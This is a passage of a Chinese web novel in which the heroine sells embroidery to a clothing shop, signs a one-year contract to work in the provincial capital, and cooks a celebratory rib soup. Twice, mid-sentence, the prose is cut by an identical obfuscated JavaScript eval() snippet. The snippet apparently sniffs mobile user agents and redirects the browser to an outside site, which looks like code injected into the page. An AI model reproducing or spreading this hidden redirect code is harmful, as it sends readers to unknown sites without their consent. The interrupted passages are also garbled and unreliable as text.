董三福想得没那么多,随手一挥说道:“知道了知道了,成才叔你没事就赶紧回去吧,我们真得走了。” 姜榕跟着一行人转身往村外走,她能感觉到背后有目光一直盯着自己,袖子下攥着包袱带的手不由紧了紧,心想:董成才那些话是在威胁她? 进出村甚至连进出门都被人盯着,这种行为完全是踩到了姜榕的底线。 她想,离开的事,必须尽快办了。 到了城里,姜榕排队检查的时候,又看到上次出城时遇到的那位战士,她眼睛一亮。 这次主动去问了问对方,有没有查到自己丈夫的消息。 如果查到了,哪怕只是同名同姓的人,不是真正的仲烨然,她都可以用去找人的这个理由离开。 可惜那位战士摇头说:“暂时还没查到。” 去找人的理由没法用,姜榕只好遗憾地离开。 进了城,她熟门熟路地来到成衣铺所在的那条街。 今天这条街上的人比上次多了不少,每家店的生意看起来都挺不错。 姜榕到成衣铺的时候,店里还有客人,她跟田雨打了个招呼,就站在不碍事的角落等着。 “你竟然这么快就来了,”田雨招待完最后一个客人,顾不上喝水就凑到姜榕面前说话,“喜鹊登梅绣好了?我还以为要再过七八天你才会来,你做绣活的速度可真快!” “那幅绣品不难,对于做惯了绣活的人来说,花不了那么多时间。”姜榕说着,把背上的小包袱接下来交给田雨,让她检查。 田雨看起来大大咧咧的,工作时却很细心,检查得很仔细。 检查完后,确认自己真的是捡到宝了,高兴地把东西收起来,跟姜榕商量:“上次你的两张帕子,咱俩默认留下当押金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095811|179538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,这次我把帕子的钱跟绣喜鹊登梅的手工钱一起结算给你。” 姜榕笑了笑,她当时真没跟田雨有这个默契,没这么想过。 不过现在也不会反驳田雨的话,只庆幸自己之前选择了信任田雨,没有特地又跑一趟城里跟人家要钱。 田雨拿出记账的本子,继续说道:“帕子比较小,但布料和绣线是你自己的,一张算一万元,喜鹊登梅的布料和绣线是我们提供,所以只能给你手工费,一副给你三万五千元,你觉得可以接受吗?” 姜榕飞快将钱换算了一下米价,又换算自己的工时和根据田雨刚才说她做绣活快的那几句话中大概预估的工时,觉得这个价虽然有点低,但还算合理。 毕竟人家收了去卖,也需要一定的利润空间,于是点点头说:“可以。” 田雨当场就点了纸钞交给她:“以后同样质量和大小的绣品,我们就按照这个价格来算,要是有其他更难、要求更高的单子,再重新商量手工费,你看怎么样?” 姜榕拿着到手的钱,心里踏实不少,想到自己即将要拒绝这么一份工作,心中颇为不舍。 不过再不舍,已经做决定的事,该做还是要做。 她脸上带着歉意对田雨说道:“真是十分抱歉,我可能没办法继续接活了。” 田雨急了,忙问:“为什么?是遇到什么难处还是觉得价格不合适?你有什么想法都可以说出来,我们可以商量的。” “不是,我听说我丈夫可能在省城,我想去找他。” 其实姜榕自己也没想到要去哪个大城市,主要是她还不了解这里的大城市有哪些,每个地方又有什么特点,只好先撒个谎,把自己唯一听说过,也是村里人提到最多的省城拉出来顶上了。 田雨拍了拍胸口,长舒一口气:“我当是什么为难的事,这个好办,我表姨、也就是这家店的老板,正好在江凌开了一家新店,那边对绣品的需求更多,生意也更好,可缺人了! 她正为招不到合适的人发愁,没想到你竟然要去省城,可不是巧了!你如果愿意继续给我们店干活,我这就跟我表姨说去!” 姜榕也是没想到自己来交活,还能碰到这么个意外之喜:“那可太好了!真是麻烦你了!” “不麻烦不麻烦,你在这里等等,我去去就来,要是有客人来,你就说我到后面仓库拿货了,请人家稍微等等。” 成衣铺所在的这座房子,前面是铺面,后面可以当仓库,也可以住人,平时是她跟另一个店员住着。 她表姨回来为了方便盘货查账,偶尔会跟她挤挤,但更多时候还是回她在白城的房子住。 刚好今天她表姨还没回去,田雨趁着店里还没客人来,赶紧跑回后面找人去,好不容易找到个手艺这么好的人才,可不能让人家跑了! 店里,姜榕靠在柜台边上捂着心口,只觉得今天真是峰回路转,遇到贵人了! 19. 第 19 章 没几分钟,田雨从后面出来,身边跟着一位长相跟她有三分相似,一改如今大部分人干瘦模样,看起来十分圆润丰腴,年纪大概三十出头的妇人。 她身上穿着田雨曾说过是洋气进口货的那种叫布拉吉的淡红色碎花短袖裙子,耳朵上带着金耳环、脖子上是一串圆润的珍珠项链、左手一个颇有分量的金镯子、右手一只水头不错的翡翠镯子。 这是姜榕来白城几次,见过戴首饰最多的人。 之前见过的成衣铺大客户谷小姐,只在无名指上戴了一枚钻戒,布庄的掌柜也只有手上戴了一枚金戒指和一枚玉扳指。 姜榕还以为这里的人,无论是否有钱打扮都比较朴素,不爱首饰,更喜欢在衣服样式和颜色上花心思,原来却是自己见识的太少了。 田雨作为中间人,给她们互相简单介绍过后,双方都没拐弯抹角,谈话直接进入正题。 王珍在后面看过田雨带进去的绣品,对姜榕的手艺以及她做绣活的速度十分满意,这位确实是自己店里紧缺,还很难找到的人才。 “我听小雨说,你想去省城,刚好我在省城的店缺人手,这个小雨应该也跟你说过了,如果你愿意跟我签工作合同,在我的店铺里工作,不接其他商家的活,我可以给你提供住所和每天两顿饭,工钱也会比在白城高一些。” 作为一个事业还算成功,也颇有野心的商人,王珍其实更想跟姜榕签五年、十年、十几年甚至更长的工作合同,用合同让姜榕一直在自己店里工作,以免她被竞争对手挖走。 可哪怕现在大局还没彻底尘埃落定,上头暂时还管不到那么多,她也不敢。 如今许多规则尚不明朗,但唯一能确定的是,现在的老百姓,如果觉得自己受到了压迫,是真能找到人给自己做主。 如果签太长时间,合同对员工的束缚又太大,万一被认定为学旧地主雇佣长工,压迫工人,很有可能会给自己惹上极大的麻烦。 所以王珍只好改变想法,告诉自己真有心想走的人,不管合同中有多少限制都会想办法离开,还不如放宽心,尽量争取之后,如果别人还要离开,那就好聚好散。 留下一点善缘,不撕破脸,以后人家保不齐又想回来了。 现在王珍跟员工的合同都是一年一签,只是要求员工在合约期间,不能接其他同行的私活。 王珍给的机会,正好解了姜榕的燃眉之急。 姜榕识字,也不怕被人在合同上动手脚。 至于跟着别人一起去省城,会不会被拐这一点她也想到了,很庆幸现在自己不是孤家寡人一个,认了梅萍当表姐,还跟董芳一家关系很好。 如果她到省城后,没有一封信寄回来,梅萍她们肯定就会发现她出事了,哪怕没法去省城找她,也可以帮忙找官府报案。 姜榕答应去王珍在省城的成衣铺工作后,两人继续就工作时长、工作内容、工作福利待遇这些问题进行了详谈。 最后定下第一年每个月的工钱是十五万元,这工钱看起来很高,但这是按照白城技术工的工钱来算的。 如今在白城,一斤米的价格是六百元左右,也许在省城还会更贵一些。 姜榕跟董芳一家聊天的时候,听他们说过白城哪些活挣得多,但需要技术,可惜他们不会,挣不了那个钱,她听多了也能大概了解现在的工价。 她拿到的工钱,在白城算高,去到省城只能算中等偏下。 不过好在王珍承诺,如果在这一年好好干活,顺利完成工作不出错,下一年就会给她涨工钱,具体涨多少工钱,也随着这个承诺一起白纸黑字写进合同中了。 姜榕除了按照店里的要求做绣品,其他裁剪之类的活一概不需要管,也不用招呼客人,只需要在必要时,跟客人沟通刺绣的图案和所用的技法等等。 工作时长不做硬性要求,但分派到手上的绣活必须要在截止时间之前做完,只要能完成单子,每天怎么安排时间店里是不管的。 如果当月手头上没有大件绣品需要做,就给店里绣固定数量的成品帕子和衣服,超出数量会给提成。 其余的还有逢年过节会发相应的过节礼品或者过节红包,每年夏季和冬季都会发一套工作服等等福利条款以及一些工作上的要求。 商量好所有合同的细节后,姜榕确认重新誊抄的合同无误,当场就在上面签下了自己的名字。 离开前,田雨说店里有一件急需赶工的衣服,想请姜榕帮忙做。 考虑到王珍还要在白城多待十来天,到要走的时候才会带着她一起走,姜榕看过要绣的图案和要求后,确定自己可以在离开前把这件衣服绣好,就接了这活。 因为合同是等她们到达省城,发了工作服,正式开始工作后才生效,这次姜榕接的活还是按照之前田雨提的方式算工钱。 上午进城时心事重重,回去的路上姜榕心情颇好。 出城前路过一个卖野猪肉的摊子,看到那摊子上还剩下一些排骨,特地花两千元,买了两斤多的排骨。 还在无人的角落,把上次开礼包时开出的冬瓜拿出来,打算回去炖个冬瓜排骨汤,庆祝一下自己正式找到工作。 不过那冬瓜刚拿出来,姜榕就傻眼了,那么老大一个,估摸着得有三十多斤。 想吃它还不想暴露系统的秘密,最好在城里时就提前避开所有人,把冬瓜拿出来一路背着回去。 姜榕虽然力气不小,却没有合适的东西把它装起来,那么大个瓜抱着一路走,累不累先不说,抱着走就很别扭,只好重新把它收回去了。 也许今天真是转运了,她放弃冬瓜炖排骨的想法,在城门口排队出城时,竟然又遇到自己第一次来白城时,那个挑着一担粮食排在自己面前的老农。 那老农这次排在她后边,隔着几个人。 但老农说话声音洪亮,姜榕不想偷听别人说话,也免不了听到他了在跟人抱怨:“今年的藕长得好,价格反而比去年贱,我还以为我家藕是最早出塘的,谁知道刚进七月份,就那么多人来卖藕,我今天来晚了点都没能卖完,可惜了,我家这么新鲜的藕。” 跟他闲聊的人说:“怕什么,带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102545|179538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去还能埋进湿泥里,没那么容易坏。” 老农也没别的办法,只能无奈点头:“也是。” 姜榕一听,这不是巧了,莲藕跟排骨也非常相配! 她当即离队往后走,去看那老农的藕,然后顺利买到一根几乎有她一整只手那么长、被人洗得干干净净的藕,只花了大约两斤糙米的钱! 这就比几十斤的大冬瓜好拿多了。 老农看她没东西装,还特地给她拿了两根稻草把藕捆起来,让她可以拎着走。 姜榕看着手上白白净净的藕,可算知道这老农为什么会来晚了,这人也太实诚了些。 不过站在客人的角度来看,同样的价格,买他的东西确实更省心,以后他回头客肯定不少,卖不完只会是暂时的。 这次出城比较早,没遇到董二旺兄弟俩,走着走着离得近的村子里的人到家,路上只剩下她一个。 姜榕脚下一拐,离开大路,拐到以前自己藏打火石和火绒的地方,把东西取出来带回去,到时候带到省城去还能用挺长一段时间。 听说城里喝口水都得花钱买,她可得精打细算些,能省就省。 不过不该省的时候,姜榕也不会吝啬,尤其是不会吝啬自己这张嘴。 喝汤,就该配点干的! 所以一回到家,她立刻从米袋子里舀出来大概两斤糙米泡着,打算晚上焖一锅不掺杂一粒苞米的大米干饭。 然后才开始做绣活。 被董成才指使着来盯梢的小孩,这天傍晚闻着院子里飘出来的肉香味可馋坏了。 为了让家里所有人都能多吃到几块,今天买的排骨她特地砍得比较小块。 如果那小孩不是帮董成才盯梢,姜榕倒是不介意给他吃个一两小块,可惜她很反感这种行为,肯定不会给了。 梅萍一家傍晚回家,还没走到家门口就被弥漫出来的香味勾得直咽口水。 “这么香,也不知道是哪家今天炖肉了。” 姜榕恰好在小溪边拔了点野葱回来,听到这话,余光看到正从另一个方向往这边走的董成才,特地提高了嗓门朗声道:“当然是我们家!” 梅萍几人惊呼:“我们家?!” “对,我今天去交绣活,拿到工钱了,还跟店家签了长期的雇工合同,要不了多久,店家就要带我去省城干活,我就想着买点荤腥回来,咱们吃顿好的庆祝一下。” 姜榕这么快就要离开,梅萍十分不舍,也担心女儿没法继续跟着姜榕学手艺,不过心里更多的是为姜榕感到高兴。 毕竟她只是去城里工作,又不是跟自家绝交了,以后总能有见面的机会,也可以互相通信。 梅萍也见到董成才往这边来了,故意说道:“你去那边,正好也可以打听打听有没有你丈夫的消息,大城市没准还能花钱找人帮忙,比咱们这小地方方便多了!” 姜榕立刻附和她的话:“没错,我也是这么想的!” 听到她们对话的董成才脸色铁青,拿到董二旺给他带的肉之后,连一声道谢也没有,甩手就走了。